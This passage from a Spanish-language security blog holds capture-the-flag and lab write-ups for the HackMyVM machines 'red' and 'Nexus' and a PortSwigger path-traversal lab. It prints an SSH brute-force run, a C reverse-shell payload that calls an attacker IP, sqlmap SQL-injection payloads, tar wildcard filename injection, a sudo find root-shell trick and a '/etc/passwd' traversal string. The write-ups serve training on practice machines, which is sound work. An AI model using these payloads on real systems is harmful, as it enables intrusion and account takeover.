R3v_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!
R3_m4lwh3r3_k1nG!!
R3m4lwh3r3_k1nG!!
R3vm4lwh3r3_k1nG!!
R3v_4lwh3r3_k1nG!!
R3vm
R3v_m1
R3v_m4lwh3r3_k1nG!
R3v_m4lwh3r3_k1nG
R3v_m4lwh3r3_k1n
R3v_m4lwh3r3_k1nR3v_m4lwh3r3_k1n
Rv_m4lwh3r3_k1n
<span class="hljs-number">1</span>nG!
h3r3_k1nG!!v_m4lw
R3v_m4lwh3r3_k1n!
 <span class="hljs-number">3</span>v_m4lwh3r3_k1nG
G!!R3v_m4lwh3r3_k1n
nG!!
<span class="hljs-number">1</span>nG!!
k1nGk1nG
n3v_
_mR_mR
Z3v_m4lwh3r3_k1nG!!
U_m4lwh3r3_k1nG!!
R3v_lw
R3vmR3vm
_mR
R3r3R3r3
Rrlw
R3v_ml
R4lwh3
</code></pre>
<p>Simplemente lo copiamos y pegamos en un archivo, y probamos por los usuario que disponemos.</p>
<p>Luego de un rato vemos lo siguiente.</p>
<pre><code class="lang-bash">medusa -M ssh -h 192.168.0.14 -u john -P passwords
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks &lt;jmk@foofus.net&gt;

ACCOUNT CHECK: [ssh] Host: 192.168.0.14 (1 of 1, 0 complete) User: john (1 of 1, 0 complete) Password: R3v_m4lwh3r3_k1nG!! (1 of 77 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.14 (1 of 1, 0 complete) User: john (1 of 1, 0 complete) Password: !!Gn1k_3r3hwl4m_v3R (2 of 77 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.14 (1 of 1, 0 complete) User: john (1 of 1, 0 complete) Password: R3V_M4LWH3R3_K1NG!! (3 of 77 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.14 (1 of 1, 0 complete) User: john (1 of 1, 0 complete) Password: r3v_m4lwh3r3_k1nG!! (4 of 77 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.0.14 (1 of 1, 0 complete) User: john (1 of 1, 0 complete) Password: R3v_m4lwh3r3_k1nG!!0 (5 of 77 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.0.14 User: john Password: R3v_m4lwh3r3_k1nG!!0 [SUCCESS]
</code></pre>
<p>La pass parece ser <code>R3v_m4lwh3r3_k1nG!!0</code>, voy a conectarme por ssh para ver si funciona.</p>
<pre><code class="lang-bash">ssh john@192.168.0.14  
john@192.168.0.14<span class="hljs-string">'s password: 
Last login: Wed Oct 27 02:05:25 2021 from 10.0.2.15
john@red:~$</span>
</code></pre>
<p>Al ganar acceso como john, realizo un <code>sudo -l</code> para ver si tengo algun permiso.</p>
<pre><code class="lang-bash">sudo -l
Matching Defaults entries <span class="hljs-keyword">for</span> john on red:
    env_reset, mail_badpass, secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on red:
    (ippsec) NOPASSWD: /usr/bin/time
</code></pre>
<p>Esto es sencillo, podemos utilizar la pagina → gtfobins y buscar por time para hacer un movimiento lateral a ippsec.</p>
<p>Otra cosa que tiene esta maquina es que cada tanto te saca del servidor y no puedes usar <code>cat</code> para leer los archivos. Tambien nos imprime algunos mensajes por consola para molestar</p>
<p>Por tanto utilize <code>less</code> y luego me toco nueva mente utilizar <code>medusa</code> para encontrar la pass, luego rapidamente, convertirnos en <code>ippsec</code>.</p>
<pre><code class="lang-bash">sudo -u ippsec /usr/bin/time /bin/sh
$ bash
ippsec@red:/home/john$
</code></pre>
<p>Se me da por listar los archivos que tengo permitido como grupo.</p>
<pre><code class="lang-bash">ippsec@red:~$ find / -group ippsec 2&gt;/dev/null | grep -v <span class="hljs-string">"/proc"</span>
/var/www/wordpress/.git
/home/ippsec
/home/ippsec/.bash_logout
/home/ippsec/.profile
/home/ippsec/.bashrc
/home/ippsec/user.txt
</code></pre>
<p>Veo un <code>.git</code> algo raro, su contenido es lo siguiente.</p>
<pre><code class="lang-bash">ls -la
total 32
drwxrwx--- 2 root     ippsec    4096 Jul 22 20:56 .
drwxr-xr-x 6 www-data www-data  4096 Jul 21 20:26 ..
-rwxr-xr-x 1 root     root     16712 Jul 22 20:56 rev
-rw-r--r-- 1 root     root       123 Oct 31  2021 supersecretfileuc.c
</code></pre>
<pre><code class="lang-bash"><span class="hljs-comment">#include &lt;stdio.h&gt;</span>

int <span class="hljs-function"><span class="hljs-title">main</span></span>()
{

    // prints hello world
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Get out of here Blue!\n"</span>);

    <span class="hljs-built_in">return</span> 0;
}
</code></pre>
<p>Ese es el contenido de arriba de <code>supersecretfileuc.c</code>, ese comentario me suena verlo por consola.</p>
<p>Por tanto me da a entender que quizas se este ejecutando cada cierto tiempo.</p>
<p>Debido a que esta compilado, podria intentar modificar su condenido y compilarlo con el mismo nombre para que me envie una shell, para ver como que usuario lo esta ejecutando.</p>
<p>Simplemente podemos utilizar la pagina → Online-Revershell, para crear nuestro <code>payload</code>.</p>
<pre><code class="lang-bash"><span class="hljs-comment">#include &lt;stdio.h&gt;</span>
<span class="hljs-comment">#include &lt;sys/socket.h&gt;</span>
<span class="hljs-comment">#include &lt;sys/types.h&gt;</span>
<span class="hljs-comment">#include &lt;stdlib.h&gt;</span>
<span class="hljs-comment">#include &lt;unistd.h&gt;</span>
<span class="hljs-comment">#include &lt;netinet/in.h&gt;</span>
<span class="hljs-comment">#include &lt;arpa/inet.h&gt;</span>

int main(void){
    int port = 4443;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr(<span class="hljs-string">"192.168.0.8"</span>);

    connect(sockt, (struct sockaddr *) &amp;revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {<span class="hljs-string">"/bin/bash"</span>, NULL};
    execvp(<span class="hljs-string">"/bin/bash"</span>, argv);

    <span class="hljs-built_in">return</span> 0;       
}
</code></pre>
<p>Luego esperamos la conexion con nc, y ejecutamos el rev nuevo. Que al parecer lo va compilando cada cierto tiempo.</p>
<pre><code class="lang-bash">nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4443
Ncat: Listening on 0.0.0.0:4443
Ncat: Connection from 192.168.0.14.
Ncat: Connection from 192.168.0.14:54452.
root@red:/var/www/wordpress/.git$ whoami
root
root@red:/var/www/wordpress/.git$
</code></pre>
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>La verdad una maquina bastante interesante, algo unico que veo esto de que cada tanto se cierre la shell entre otras cosas molestas que vas encontrando a medida que haces la maquina, pero vimos muchas tecnias y cosas interesantes.</p>
<p>Ya saben cualquier duda o consulta, pueden usar la seccion de comentarios o contactarme por disc #Varovish/varovish.</p>
]]></content:encoded></item><item><title><![CDATA[Nexus-Writeup]]></title><description><![CDATA[Skills
- Web Fuzzing
- SQLMAP / SQLI
- tar command / wildcar "*" Abusing (Extra)
- find command sudo escalation privilage


Reconocimiento
Para comenzar, vamos a crear nuestro directorios de trabajo, para empezar con la fase de reconocimiento
$ mkdir...]]></description><link>https://varovish.hashnode.dev/nexus-writeup</link><guid isPermaLink="true">https://varovish.hashnode.dev/nexus-writeup</guid><category><![CDATA[HackMyVM]]></category><category><![CDATA[sqlmap]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Write Up]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Fri, 27 Jun 2025 16:23:27 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750962955148/25de9a71-7b20-43b8-9df3-878429806ec3.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-skills">Skills</h1>
<pre><code class="lang-python">- Web Fuzzing
- SQLMAP / SQLI
- tar command / wildcar <span class="hljs-string">"*"</span> Abusing (Extra)
- find command sudo escalation privilage
</code></pre>
<hr />
<h1 id="heading-reconocimiento">Reconocimiento</h1>
<p>Para comenzar, vamos a crear nuestro directorios de trabajo, para empezar con la fase de reconocimiento</p>
<pre><code class="lang-bash">$ mkdir Nexus
$ <span class="hljs-built_in">cd</span> Nexus
$ mkdir content nmap exploit
</code></pre>
<p>Luego vamos a realizar un escaneo de servicios sobre los puertos abiertos utilizando nmap.</p>
<pre><code class="lang-bash">$ sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.0.18 -oN allPorts
</code></pre>
<pre><code class="lang-ruby"><span class="hljs-comment"># Nmap 7.93 scan initiated Thu Jun 26 15:55:17 2025 as: nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn -oN Allports 192.168.0.18</span>
Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">18</span>
Host is up, received arp-response (<span class="hljs-number">0</span>.<span class="hljs-number">0044</span>s latency).
Scanned at <span class="hljs-number">2025</span>-<span class="hljs-number">06</span>-<span class="hljs-number">26</span> <span class="hljs-number">15</span><span class="hljs-symbol">:</span><span class="hljs-number">55</span><span class="hljs-symbol">:</span><span class="hljs-number">17</span> -<span class="hljs-number">03</span> <span class="hljs-keyword">for</span> <span class="hljs-number">7</span>s
Not <span class="hljs-symbol">shown:</span> <span class="hljs-number">65533</span> closed tcp ports (reset)
PORT   STATE SERVICE REASON
<span class="hljs-number">22</span>/tcp open  ssh     syn-ack ttl <span class="hljs-number">64</span>
<span class="hljs-number">80</span>/tcp open  http    syn-ack ttl <span class="hljs-number">64</span>
MAC <span class="hljs-symbol">Address:</span> <span class="hljs-symbol">D8:</span><span class="hljs-symbol">F3:</span><span class="hljs-symbol">BC:</span><span class="hljs-number">4</span><span class="hljs-symbol">D:</span><span class="hljs-symbol">AC:</span>A3 (Liteon Technology)

Read data files <span class="hljs-symbol">from:</span> /usr/bin/../share/nmap
<span class="hljs-comment"># Nmap done at Thu Jun 26 15:55:24 2025 -- 1 IP address (1 host up) scanned in 6.43 seconds</span>
</code></pre>
<p>Como se puede apreciar, parece que solo tenemos el puerto 22 y el 80. El cual, este último, parece una página web al ser http. Vamos a realizar un escaneo de tecnologías con WhatWeb, a ver qué nos reporta.</p>
<pre><code class="lang-bash">$ whatweb 192.168.0.18
</code></pre>
<pre><code class="lang-bash">http://192.168.0.18 [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[192.168.0.18]
</code></pre>
<p>Vemos Apache, la versión y poco más; vamos a echarle un vistazo a la página web.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750964419626/8a3cb4dc-82fc-436f-a41d-7e83de9daf72.png" alt class="image--center mx-auto" /></p>
<p>Vemos una página algo extraña; vamos a realizar fuzzing para encontrar algunos directorios o archivos dentro de la página que nos puedan ser de utilidad.</p>
<pre><code class="lang-bash">ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.0.18/FUZZ.php -t 10        

        /<span class="hljs-string">'___\  /'</span>___\           /<span class="hljs-string">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.18/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________</span>
</code></pre>
<pre><code class="lang-bash">                        [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 7ms]
<span class="hljs-comment">#                       [Status: 200, Size: 825, Words: 124, Lines: 48, Duration: 11ms]</span>
login                   [Status: 200, Size: 352, Words: 61, Lines: 27, Duration: 13ms]
index2                  [Status: 200, Size: 75134, Words: 30596, Lines: 1642, Duration: 13ms]
                        [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 5ms]
</code></pre>
<p>Luego de filtrar por archivos ”FUZZ.php” (donde FUZZ es donde vamos iterando gracias a un diccionario), encontramos que existen login.php y index2.php. Vamos a echarles un vistazo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965008412/8edeae7f-31b3-4520-afa8-15b23f58010e.png" alt class="image--center mx-auto" /></p>
<p>El login no nos muestra nada; de hecho, si miramos el código fuente, no encontramos nada relevante. Vamos a mirar la otra página.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965065727/79bff4e0-c3c0-4f01-9456-311edc7c2db2.png" alt class="image--center mx-auto" /></p>
<p>Y vemos otra página completamente distinta; buscando info e interactuando con todo lo que se puede, llegamos a lo siguiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965308131/897522ad-5846-4120-a602-1cb5fbbf746a.png" alt class="image--center mx-auto" /></p>
<p>Donde si buscamos sobre nuestra IP de la máquina víctima, nos da otra página distinta.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965363175/bd24c10a-55fd-4ade-83e3-59bdc134124d.png" alt class="image--center mx-auto" /></p>
<p>Donde observamos un panel de login.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965445456/b67c4259-7111-4c27-ab73-1cf058273945.png" alt class="image--center mx-auto" /></p>
<p>Pruebo credenciales basicas pero no llego a ningun lugar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965484442/dcf0cc52-13ac-4cf8-8177-61b42f727037.png" alt class="image--center mx-auto" /></p>
<p>Luego pruebo una injeccion basica de sql y veo que me deja logearme, pero no me muestra nada.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965554736/f43db99c-c2e2-46ab-8a34-535ff8a9451d.png" alt class="image--center mx-auto" /></p>
<p>Esto me hace pensar, que podriamos extraer info de la base de datos, de hecho si ponemos una comilla simple en el usuario da este error.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965629083/09d72b6c-2cb7-472e-a26d-bc28374fd597.png" alt class="image--center mx-auto" /></p>
<p>Utilizando la query en el ‘ order by 4. Me doy cuenta que existen 3 columnas, debido a que en el numero 4 hay un error y en el numero 3 me pone acceso denegado.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750965825886/a89fbb1d-1b49-4a74-8bc8-45e19b98a0e8.png" alt class="image--center mx-auto" /></p>
<p>Debido a que yo no veo el output va ser blind basado en diferencia de respuesta que nos da el servidor.</p>
<p>Luego de realizar algunas pruebas, decido tirar de sqlmap y me reporta lo siguiente.</p>
<pre><code class="lang-bash">$ sqlmap -u http://192.168.0.18/login.php --data <span class="hljs-string">"user=a*&amp;pass=a"</span> --level 5 --dbms=mysql --risk 3 --current-db --is-dba
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.9.1<span class="hljs-comment">#dev}</span>
|_ -| . [(]     | .<span class="hljs-string">'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'</span>s responsibility to obey all applicable <span class="hljs-built_in">local</span>, state and federal laws. Developers assume no liability and are not responsible <span class="hljs-keyword">for</span> any misuse or damage caused by this program

[*] starting @ 09:57:01 /2025-06-27/
</code></pre>
<pre><code class="lang-bash"> [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: <span class="hljs-comment">#1* ((custom) POST)</span>
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: user=a<span class="hljs-string">' OR NOT 8006=8006-- lYGY&amp;pass=a

    Type: error-based
    Title: MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: user=a'</span> AND (SELECT 4590 FROM(SELECT COUNT(*),CONCAT(0x716a717171,(SELECT (ELT(4590=4590,1))),0x717a766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ikkA&amp;pass=a

    Type: time-based blind
    Title: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=a<span class="hljs-string">' AND (SELECT 8526 FROM (SELECT(SLEEP(5)))yjFT)-- gzvx&amp;pass=a
---
[09:57:02] [INFO] testing MySQL
[09:57:02] [INFO] confirming MySQL
[09:57:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL &gt;= 5.0.0 (MariaDB fork)
[09:57:02] [INFO] fetching current database
[09:57:02] [INFO] retrieved: '</span>sion<span class="hljs-string">'
current database: '</span>sion<span class="hljs-string">'
[09:57:02] [INFO] testing if current user is DBA
[09:57:02] [INFO] fetching current user
[09:57:03] [INFO] retrieved: '</span>root@localhost<span class="hljs-string">'
current user is DBA: True</span>
</code></pre>
<p>Por tanto si es vulnerable a SQLI, voy a extraer toda la info para ver que nos encontramos.</p>
<pre><code class="lang-bash">[09:57:58] [INFO] retrieved: <span class="hljs-string">'users'</span>
Database: sion
[1 table]
+-------+
| users |
+-------+
</code></pre>
<pre><code class="lang-bash">Database: sion
Table: users
[2 entries]
+----+--------------------+----------+
| id | password           | username |
+----+--------------------+----------+
| 1  | F4ckTh3F4k3H4ck3r5 | shelly   |
| 2  | cambiame08         | admin    |
+----+--------------------+----------+
</code></pre>
<p>Encontramos estos dos usuarios, el cual pruebo shell y para poder conectarme por ssh con esa contraseña y me deja.</p>
<pre><code class="lang-bash">$ ssh shelly@192.168.0.18
The authenticity of host <span class="hljs-string">'192.168.0.18 (192.168.0.18)'</span> can<span class="hljs-string">'t be established.
ED25519 key fingerprint is SHA256:r1lUfXxL8Fd1e/Q87Jno3P3xHjMTUwmJlKfcsl0AST8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>192.168.0.18<span class="hljs-string">' (ED25519) to the list of known hosts.
**************************************************************
HackMyVM System                                              *
                                 *
   *  .  . *       *    .        .        .   *    ..        *
 .    *        .   ###     .      .        .            *    *
    *.   *        #####   .     *      *        *    .       *
  ____       *  ######### *    .  *      .        .  *   .   *
 /   /\  .     ###\#|#/###   ..    *    .      *  .  ..  *   *
/___/  ^8/      ###\|/###  *    *            .      *   *    *
|   ||%%(        # }|{  #                           *
|___|,  \\         }|{                        *
                                *
                                                             *
Wellcome to Nexus Vault.                    *
**************************************************************



shelly@192.168.0.18'</span>s password: 


<span class="hljs-comment">######################</span>
DONT TOUCH MY SYSTEM <span class="hljs-comment">#</span>
<span class="hljs-comment">######################</span>
Last login: Thu May  8 22:44:41 2025 from 192.168.1.10
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
shelly@NexusLabCTF:~$
</code></pre>
<h1 id="heading-escalada-de-privilegios">Escalada de Privilegios</h1>
<pre><code class="lang-bash">shelly@NexusLabCTF:~$ <span class="hljs-built_in">cd</span> SA/
shelly@NexusLabCTF:~/SA$ ls
user-flag.txt
shelly@NexusLabCTF:~/SA$ cat user-flag.txt 

   ▄█    █▄      ▄▄▄▄███▄▄▄▄    ▄█    █▄  
  ███    ███   ▄██▀▀▀███▀▀▀██▄ ███    ███ 
  ███    ███   ███   ███   ███ ███    ███ 
 ▄███▄▄▄▄███▄▄ ███   ███   ███ ███    ███ 
▀▀███▀▀▀▀███▀  ███   ███   ███ ███    ███ 
  ███    ███   ███   ███   ███ ███    ███ 
  ███    ███   ███   ███   ███ ███    ███ 
  ███    █▀     ▀█   ███   █▀   ▀██████▀  

HackMyVM
Flag User ::  82kd8FJ5SJ00HMVUS3R36gd

shelly@NexusLabCTF:~/SA$
</code></pre>
<p>Ahi podemos observar la flag del usuario, ahora nos toca escalar privilegios.</p>
<p>Luego de hacer una pequeña enumeracion, me encuentro enumerando tareas cron, utilizando el siguiente script.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

old_command=$(ps -eo user,<span class="hljs-built_in">command</span>)
<span class="hljs-keyword">while</span> <span class="hljs-literal">true</span>;<span class="hljs-keyword">do</span>
    new_command=$(ps -eo user,<span class="hljs-built_in">command</span>)
    diff &lt;(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$old_command</span>"</span>) &lt;(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$new_command</span>"</span>) | grep [<span class="hljs-string">"\&gt;\&lt;"</span>] | grep -vE <span class="hljs-string">"kworker|procmon|command"</span>
    old_command=<span class="hljs-variable">$new_command</span>
<span class="hljs-keyword">done</span>
</code></pre>
<pre><code class="lang-bash">shelly@NexusLabCTF:/tmp$ ./procmon.sh 
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
&gt; root     /usr/sbin/CRON -f
&gt; root     /bin/sh -c /usr/<span class="hljs-built_in">local</span>/bin/wildcard-access.sh
&lt; root     /usr/sbin/CRON -f
&lt; root     /bin/sh -c /usr/<span class="hljs-built_in">local</span>/bin/wildcard-access.sh
</code></pre>
<p>Veo que hay una tarea cron que root ejecuta con sh “/usr/local/bin/wildcard-access.sh”.</p>
<p>Si vemos lo que hace, nos encontramos con lo siguiente.</p>
<pre><code class="lang-bash">shelly@NexusLabCTF:/tmp$ cat /usr/<span class="hljs-built_in">local</span>/bin/wildcard-access.sh 
tar -cf /tmp/backup.tar /home/shelly/backup/*
</code></pre>
<p>Vemos que hace un “tar -cf /tmp/backup.tar /home/shelly/backup/*”, basicamente comprime todo lo que hay en /home/shelly/backup/ y el output lo pone en /tar como backup.tar.</p>
<p>Esto no deberia ser un problema, pero debido a como funciona el wildcard “*”, esto es muy peligroso.</p>
<p>Esto se puede abusar debido a que con tar hay una forma de ejecutar comandos.</p>
<p>Si ponemos help en tar, vemos lo siguiente en una parte del manual de ayuda.</p>
<pre><code class="lang-bash">shelly@NexusLabCTF:/tmp$ tar --<span class="hljs-built_in">help</span> Usage: tar [OPTION...] [FILE]... GNU <span class="hljs-string">'tar'</span> saves many files together into a single tape or disk archive, and can restore individual files from the archive.
</code></pre>
<pre><code class="lang-bash">      --checkpoint[=NUMBER]  display progress messages every NUMBERth record
                             (default 10)
      --checkpoint-action=ACTION   execute ACTION on each checkpoint
</code></pre>
<p>Si investigamos, encontraremos que esto se puede utilizar para ejecutar comandos, debido a que no tenemos permiso para cambiar el archivo de la tarea cron.</p>
<pre><code class="lang-bash">shelly@NexusLabCTF:/tmp$ ls -la /usr/<span class="hljs-built_in">local</span>/bin/wildcard-access.sh 
-rwxr-xr-x 1 root root 46 Apr 20 17:07 /usr/<span class="hljs-built_in">local</span>/bin/wildcard-access.sh
</code></pre>
<p>Lo que podemos hacer es crearnos archivos que contengan ese comando, y debido al wildcar “*“ cuando ejecute la tarea cron, nos va tomas como comandos el nombre de los archvios.</p>
<pre><code class="lang-bash">shelly@NexusLabCTF:/tmp$ <span class="hljs-built_in">cd</span> /home/shelly/ 
shelly@NexusLabCTF:~$ ls
SA
shelly@NexusLabCTF:~$ mkdir backup
shelly@NexusLabCTF:~$ <span class="hljs-built_in">cd</span> backup/
shelly@NexusLabCTF:~/backup$
</code></pre>
<p>Creo el directorio backup porque es bajo esta ruta donde se aplica el comando y debido a que no existe la ruta, hay que crearlo.</p>
<p>Primero vamos a crearnos un script en sh, que asigne permisos SUID a la bash por ejemplo para una vez sea ejecutado poder convertirnos en root.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"chmod +4000 /bin/bash"</span> &gt;&gt; exploit.sh
shelly@NexusLabCTF:~/backup$ cat exploit.sh 
chmod 4000 /bin/bash
shelly@NexusLabCTF:~/backup$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1265648 Mar 29  2024 /bin/bash
shelly@NexusLabCTF:~/backup$
</code></pre>
<p>Ahora vamos a crear nuestro archivo para abusar del wildcard “*” en la tarea cron.</p>
<pre><code class="lang-bash">shelly@NexusLabCTF:~/backup$ <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span> &gt; <span class="hljs-string">' --checkpoint-action=exec=sh exploit.sh'</span>
shelly@NexusLabCTF:~/backup$ <span class="hljs-built_in">echo</span> <span class="hljs-string">""</span> &gt; <span class="hljs-string">' --checkpoint=1'</span>
shelly@NexusLabCTF:~/backup$ ls
<span class="hljs-string">' --checkpoint-action=exec=sh exploit.sh'</span>  <span class="hljs-string">' --checkpoint=1'</span>   exploit.sh
-rw-r--r-- 1 shelly shelly   21 Jun 27 15:36  exploit.sh
</code></pre>
<p>Como vemos, lo que hacemos es crear el archivo como si fuese un comando, cuando se ejecute la tarea cron.</p>
<p>Lo cual, aparte de hacer la compresión de todo lo que hay en backup/, también ejecutará nuestro exploit.sh, el cual asignará el permiso SUID a la /bin/bash.</p>
<p>Luego de esperar un rato, no funciona; por tanto, debe estar parcheado de alguna forma.</p>
<p>Luego de seguir investigando, me encuentro con lo siguiente.</p>
<pre><code class="lang-bash">shelly@NexusLabCTF:/tmp$ sudo -l
sudo: unable to resolve host NexusLabCTF: Name or service not known
Matching Defaults entries <span class="hljs-keyword">for</span> shelly on NexusLabCTF:
    env_reset, mail_badpass, secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD,
    use_pty

User shelly may run the following commands on NexusLabCTF:
    (ALL) NOPASSWD: /usr/bin/find
</code></pre>
<p>Parece que podemos ejecutar con sudo el comando find, esto tambien es peligroso, debido a que por ejemplo en → gtfobins, hay formas de escalar privilegios, vamos a probarlo.</p>
<pre><code class="lang-bash">shelly@NexusLabCTF:/tmp$ sudo find . -<span class="hljs-built_in">exec</span> /bin/sh \; -quit
sudo: unable to resolve host NexusLabCTF: Name or service not known
<span class="hljs-comment"># whoami</span>
root
</code></pre>
<p>De esta forma, logramos escalar privilegios y convertirnos en root.</p>
<hr />
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Maquina bastante interesante, donde se ve sobre un SQLI y como abusar del binario find, me hubiese gustado que el tar con el wildcar “*“, funcione pero lo dejare como extra por si algun dia se encuentran algo parecido para que lo tengan en cuenta, ya saben que tienen los comentarios o me pueden contactar por <strong>disc</strong> cualquier duda.</p>
]]></content:encoded></item><item><title><![CDATA[Lab*5-Path Traversal]]></title><description><![CDATA[Laboratorio 5
Continuamos con los laboratorios de Path-Traversal de Portswigger en este caso el quinto laboratorio.

Resolucion

Observamos la clásica web de ventas de productos que solemos observar en los laboratorios de Portswigger.
Como leemos en ...]]></description><link>https://varovish.hashnode.dev/lab5-path-traversal</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab5-path-traversal</guid><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[pathtraversal]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Fri, 16 Aug 2024 21:30:22 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723835654717/247b3567-68a2-4371-a8da-84ec232dc002.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-laboratorio-5">Laboratorio 5</h1>
<p>Continuamos con los <strong>laboratorios</strong> de <strong>Path-Traversal</strong> de <strong>Portswigger</strong> en este caso el quinto <strong>laboratorio</strong>.</p>
<hr />
<h1 id="heading-resolucion">Resolucion</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723842583786/b507c56a-b20b-40d7-94a3-0516b6f2f330.png" alt class="image--center mx-auto" /></p>
<p>Observamos la clásica <strong>web</strong> de ventas de productos que solemos observar en los <strong>laboratorios</strong> de <strong>Portswigger</strong>.</p>
<p>Como leemos en la descripción del <strong>laboratorio</strong>, la vulnerabilidad de <strong>Path Traversal</strong> se encuentra en la zona donde se representa las imágenes. Por tanto, vamos a interceptarlo con <strong>Burpsuite</strong> para realizar algunas <strong>pruebas</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723842842348/69530fb6-1a87-442a-b4b2-1514a1e464bf.png" alt class="image--center mx-auto" /></p>
<p>Como se puede observar, el lugar donde se almacena la imagen es diferente a los anteriores <strong>laboratorios.</strong> Si observamos la descripción vemos que la <strong>web</strong> válida si la ruta del archivo empieza con "<strong>/var/www/images</strong>".</p>
<p>Si intentamos reemplazarlo por un "<strong>../../../../../etc/passwd</strong>" o "<strong>/etc/passwd</strong>" nos resultará en un <strong>error</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723843082956/e7c70354-319c-4d2d-9798-036bcfc3976e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723843134208/10812a9b-a075-4d51-bfaf-6638a26db517.png" alt class="image--center mx-auto" /></p>
<p>Lo que vamos a realizar es un <strong>Path Traversal</strong>, pero empezando desde la <strong>url</strong> que nos proporciona la <strong>página web</strong>, es decir "<strong>/var/www/images/../../../etc/passwd</strong>".</p>
